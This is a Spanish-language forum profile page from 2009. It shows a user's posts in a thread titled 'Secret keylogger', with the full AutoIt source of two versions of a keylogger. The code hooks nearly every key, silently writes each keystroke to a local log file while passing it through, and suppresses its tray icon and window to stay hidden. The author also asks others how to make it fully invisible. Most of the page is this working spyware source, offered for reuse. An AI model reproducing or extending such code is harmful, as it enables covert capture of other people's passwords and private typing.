Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - tOxiC;

Páginas 1 2
#11
Scripting / Re: Secret keylogger (creado por mi) -Terminado-
1 Agosto 2009, 03:08 AM
Cita de: Novlucker en 25 Julio 2009, 06:22 AM
No lo había probado antes, ahora que lo he hecho me encontrado con varios problemas  :rolleyes:, entre ellos:

  • Si el nombre del ejecutable no es "autoit3.exe" entonces no se cierra
  • Lo de Ocultar no sirve como debería, porque si ocultas sin haber comenzado a registrar pulsaciones ya no puedes hacerlo aparecer XD
  • Ningún botón funciona luego de iniciado el registro de teclas ... ya que te metes en un bucle en el que registras las demás teclas, pero no los botones
Bueno .... eso he visto por el momento, así que quizás le haga un par de modificaciones y lo cuelgue  :P

Saludos


A mi me funcionan los botones O_O
#12
Scripting / Re: Secret keylogger (creado por mi) -Terminado-
24 Julio 2009, 22:43 PM
CitarPero autoit es más potente que vbs?

No ... solo es mas facil ...  ;D
#13
Scripting / Secret keylogger (creado por mi) -Terminado-
22 Julio 2009, 21:44 PM
Soy nuevo en el foro... ;-)
Este programa se llama Secret Keylogger ( Re original XDD)
Bueno... esta sin terminar, tiene todas las funciones de un keylogger pero me falta que se oculte...
Por ahora ocupa una ventana como todos pero pretendo mejorarlo para q quede oculto...

Esta programado x mi en autoit
Nota: Quisas tengan q mover el "tema" a otro subforo

Una imágen :


Esta programado en AutoIt

Acá les dejo el codigo para q alguien q sepa un poco de autoit lo revise y vea q se puede mejorar ;D... y x fa... alguien expliqueme como hago para q quede oculto XDD

Código [Seleccionar]
#NoTrayIcon
#include <Process.au3>
#include <GUIConstants.au3>

$file = FileOpen("slogger.txt", 1)
If $file = -1 Then
MsgBox(0, "Error", "El file no se pudo crear/abrir.")
Exit
EndIf

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Secret Keylogger v1.2 BY: JMG", 463, 395, 191, 121)
$Button1 = GUICtrlCreateButton("Comenzar", 16, 32, 73, 33, 0)
$Group1 = GUICtrlCreateGroup("Keylogger", 8, 16, 201, 89)
$Button2 = GUICtrlCreateButton("Guardar Log", 96, 32, 73, 33, 0)
$Button3 = GUICtrlCreateButton("Cerrar", 56, 72, 97, 17, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group2 = GUICtrlCreateGroup("Acerca de secret keylogger", 8, 112, 201, 233)
$Button4 = GUICtrlCreateButton("Acerca del autor", 24, 136, 153, 49, 0)
$Button5 = GUICtrlCreateButton("Acerca de secret keylogger", 24, 192, 153, 49, 0)
$Label5 = GUICtrlCreateLabel("No existen comentarios tontos", 24, 248, 146, 17)
$Label6 = GUICtrlCreateLabel("sino tontos que comentan", 32, 264, 126, 17)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$MonthCal1 = GUICtrlCreateMonthCal("2009/07/12", 240, 40, 193, 177)
$Label4 = GUICtrlCreateLabel("JMG ®", 280, 312, 104, 41)
GUICtrlSetFont(-1, 24, 400, 0, "MS Sans Serif")
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group4 = GUICtrlCreateGroup("Calendario", 224, 24, 225, 201)
GUICtrlCreateGroup("", -99, -99, 1, 1)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While (1)
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
exit
Case $Button1
while(1)
HotKeySet("!k", "menukey")
HotKeySet(" ", "logea")
HotKeySet("a", "logea")
HotKeySet("b", "logea")
HotKeySet("c", "logea")
HotKeySet("d", "logea")
HotKeySet("e", "logea")
HotKeySet("f", "logea")
HotKeySet("g", "logea")
HotKeySet("h", "logea")
HotKeySet("i", "logea")
HotKeySet("j", "logea")
HotKeySet("k", "logea")
HotKeySet("l", "logea")
HotKeySet("m", "logea")
HotKeySet("n", "logea")
HotKeySet("ñ", "logea")
HotKeySet("o", "logea")
HotKeySet("p", "logea")
HotKeySet("q", "logea")
HotKeySet("r", "logea")
HotKeySet("s", "logea")
HotKeySet("t", "logea")
HotKeySet("u", "logea")
HotKeySet("v", "logea")
HotKeySet("w", "logea")
HotKeySet("x", "logea")
HotKeySet("y", "logea")
HotKeySet("z", "logea")
HotKeySet("A", "logea")
HotKeySet("B", "logea")
HotKeySet("C", "logea")
HotKeySet("D", "logea")
HotKeySet("E", "logea")
HotKeySet("F", "logea")
HotKeySet("G", "logea")
HotKeySet("H", "logea")
HotKeySet("I", "logea")
HotKeySet("J", "logea")
HotKeySet("K", "logea")
HotKeySet("L", "logea")
HotKeySet("M", "logea")
HotKeySet("N", "logea")
HotKeySet("Ñ", "logea")
HotKeySet("O", "logea")
HotKeySet("P", "logea")
HotKeySet("Q", "logea")
HotKeySet("R", "logea")
HotKeySet("S", "logea")
HotKeySet("T", "logea")
HotKeySet("U", "logea")
HotKeySet("V", "logea")
HotKeySet("W", "logea")
HotKeySet("X", "logea")
HotKeySet("Y", "logea")
HotKeySet("Z", "logea")
HotKeySet("0", "logea")
HotKeySet("1", "logea")
HotKeySet("2", "logea")
HotKeySet("3", "logea")
HotKeySet("4", "logea")
HotKeySet("5", "logea")
HotKeySet("6", "logea")
HotKeySet("7", "logea")
HotKeySet("8", "logea")
HotKeySet("9", "logea")
hotkeyset("ª", "logea")
hotkeyset("º", "logea")
hotkeyset("\", "logea")
hotkeyset("!", "logea")
hotkeyset("|", "logea")
hotkeyset("@", "logea")
hotkeyset("·", "logea")
hotkeyset("#", "logea")
hotkeyset("$", "logea")
hotkeyset("%", "logea")
hotkeyset("&", "logea")
hotkeyset("¬", "logea")
hotkeyset("/", "logea")
hotkeyset("(", "logea")
hotkeyset(")", "logea")
hotkeyset("=", "logea")
hotkeyset("'", "logea")
hotkeyset("?", "logea")
hotkeyset("¡", "logea")
hotkeyset("¿", "logea")
hotkeyset("ç", "logea")
hotkeyset("}", "logea")
hotkeyset("<", "logea")
hotkeyset(">", "logea")
hotkeyset(",", "logea")
hotkeyset(";", "logea")
hotkeyset(".", "logea")
hotkeyset(":", "logea")
hotkeyset("-", "logea")
hotkeyset("_", "logea")
hotkeyset("´", "logea")
hotkeyset("{", "logea")
hotkeyset("¨", "logea")
hotkeyset("^", "logea")
hotkeyset("`", "logea")
hotkeyset("[", "logea")
hotkeyset("+", "logea")
hotkeyset("*", "logea")
hotkeyset("]", "logea")
wend
Case $Button2
msgbox(0,"Guardar","Para guardar persiona [alt+k]")
case $Button3
processclose("AutoIt3.exe")
case $Button4
msgbox(0,"Autor:","Creado por el_juanchiii(JMG)")
case $Button5
msgbox(0,"Secret Keylogger","Es solo un keylogger mas ...")
Endswitch
WEnd

Func logea()
HotKeySet(@HotKeyPressed)
FileWrite($file, @HotKeyPressed)
Send(@HotKeyPressed)
EndFunc

Func menukey()
FileClose($file)
FileClose($file)
$contenido = FileRead("slogger.txt")
MsgBox(0,"Keys",$contenido)
$file = FileOpen("slogger.txt", 1)
EndFunc

No es la gran cosa pero ta... :xD

La última version de secret keylogger (v1.2)"Testeado x mi"

Código [Seleccionar]
#NoTrayIcon
#include <Process.au3>
#include <GUIConstants.au3>

$file = FileOpen("slogger.txt", 1)
If $file = -1 Then
MsgBox(0, "Error", "El file no se pudo crear/abrir.")
Exit
EndIf

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Secret keylogger V1.2", 412, 348, 189, 116)
$Button1 = GUICtrlCreateButton("Comenzar", 32, 24, 129, 33, 0)
$Button2 = GUICtrlCreateButton("Guardar log", 32, 112, 129, 33, 0)
$Button3 = GUICtrlCreateButton("Cerrar", 32, 64, 129, 33, 0)
$Button4 = GUICtrlCreateButton("Autor", 224, 32, 129, 33, 0)
$Button5 = GUICtrlCreateButton("Secret Keylogger", 224, 72, 129, 33, 0)
$Group1 = GUICtrlCreateGroup("Keylogger", 8, 8, 193, 209)
$Ocultar = GUICtrlCreateButton("Ocultar", 24, 152, 153, 57, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group2 = GUICtrlCreateGroup("Acerca de ", 208, 16, 161, 121)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Group3 = GUICtrlCreateGroup("Calendario", 208, 144, 193, 185)
$MonthCal1 = GUICtrlCreateMonthCal("2009/07/23", 216, 160, 177, 161)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Label1 = GUICtrlCreateLabel("--JMG--", 48, 264, 111, 41)
GUICtrlSetFont(-1, 24, 400, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 0x00FF00)
GUICtrlSetBkColor(-1, 0x000000)
$Graphic1 = GUICtrlCreateGraphic(16, 224, 177, 113)
GUICtrlSetBkColor(-1, 0x000000)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button1
while(1)
HotKeySet("!k", "menukey")
Hotkeyset("!m", "mostrar")
HotKeySet(" ", "logea")
HotKeySet("a", "logea")
HotKeySet("b", "logea")
HotKeySet("c", "logea")
HotKeySet("d", "logea")
HotKeySet("e", "logea")
HotKeySet("f", "logea")
HotKeySet("g", "logea")
HotKeySet("h", "logea")
HotKeySet("i", "logea")
HotKeySet("j", "logea")
HotKeySet("k", "logea")
HotKeySet("l", "logea")
HotKeySet("m", "logea")
HotKeySet("n", "logea")
HotKeySet("ñ", "logea")
HotKeySet("o", "logea")
HotKeySet("p", "logea")
HotKeySet("q", "logea")
HotKeySet("r", "logea")
HotKeySet("s", "logea")
HotKeySet("t", "logea")
HotKeySet("u", "logea")
HotKeySet("v", "logea")
HotKeySet("w", "logea")
HotKeySet("x", "logea")
HotKeySet("y", "logea")
HotKeySet("z", "logea")
HotKeySet("A", "logea")
HotKeySet("B", "logea")
HotKeySet("C", "logea")
HotKeySet("D", "logea")
HotKeySet("E", "logea")
HotKeySet("F", "logea")
HotKeySet("G", "logea")
HotKeySet("H", "logea")
HotKeySet("I", "logea")
HotKeySet("J", "logea")
HotKeySet("K", "logea")
HotKeySet("L", "logea")
HotKeySet("M", "logea")
HotKeySet("N", "logea")
HotKeySet("Ñ", "logea")
HotKeySet("O", "logea")
HotKeySet("P", "logea")
HotKeySet("Q", "logea")
HotKeySet("R", "logea")
HotKeySet("S", "logea")
HotKeySet("T", "logea")
HotKeySet("U", "logea")
HotKeySet("V", "logea")
HotKeySet("W", "logea")
HotKeySet("X", "logea")
HotKeySet("Y", "logea")
HotKeySet("Z", "logea")
HotKeySet("0", "logea")
HotKeySet("1", "logea")
HotKeySet("2", "logea")
HotKeySet("3", "logea")
HotKeySet("4", "logea")
HotKeySet("5", "logea")
HotKeySet("6", "logea")
HotKeySet("7", "logea")
HotKeySet("8", "logea")
HotKeySet("9", "logea")
hotkeyset("ª", "logea")
hotkeyset("º", "logea")
hotkeyset("\", "logea")
hotkeyset("!", "logea")
hotkeyset("|", "logea")
hotkeyset("@", "logea")
hotkeyset("·", "logea")
hotkeyset("#", "logea")
hotkeyset("$", "logea")
hotkeyset("%", "logea")
hotkeyset("&", "logea")
hotkeyset("¬", "logea")
hotkeyset("/", "logea")
hotkeyset("(", "logea")
hotkeyset(")", "logea")
hotkeyset("=", "logea")
hotkeyset("'", "logea")
hotkeyset("?", "logea")
hotkeyset("¡", "logea")
hotkeyset("¿", "logea")
hotkeyset("ç", "logea")
hotkeyset("}", "logea")
hotkeyset("<", "logea")
hotkeyset(">", "logea")
hotkeyset(",", "logea")
hotkeyset(";", "logea")
hotkeyset(".", "logea")
hotkeyset(":", "logea")
hotkeyset("-", "logea")
hotkeyset("_", "logea")
hotkeyset("´", "logea")
hotkeyset("{", "logea")
hotkeyset("¨", "logea")
hotkeyset("^", "logea")
hotkeyset("`", "logea")
hotkeyset("[", "logea")
hotkeyset("+", "logea")
hotkeyset("*", "logea")
hotkeyset("]", "logea")
wend
Case $Button2
msgbox(0,"Guardar","Para guardar persiona [alt+k]")
case $Button3
processclose("AutoIt3.exe")
case $Button4
msgbox(0,"Autor:","Creado por el_juanchiii(JMG)")
case $Button5
msgbox(0,"Secret Keylogger","Es solo un keylogger mas ...")
Case $Ocultar
msgbox(0,"Ocultar:","Para mostrar la ventana otra vez preciona [alt+m]")
guisetstate(@SW_HIDE)
EndSwitch
WEnd

Func logea()
HotKeySet(@HotKeyPressed)
FileWrite($file, @HotKeyPressed)
Send(@HotKeyPressed)
EndFunc

Func menukey()
FileClose($file)
FileClose($file)
$contenido = FileRead("slogger.txt")
MsgBox(0,"Keys",$contenido)
$file = FileOpen("slogger.txt", 1)
EndFunc

Func mostrar()
guisetstate(@SW_SHOW)
endfunc

A ver ahora...
No subo el .exe xq me lo borran :¬¬

Pero esta todo bien con los mod igual ;D
Páginas 1 2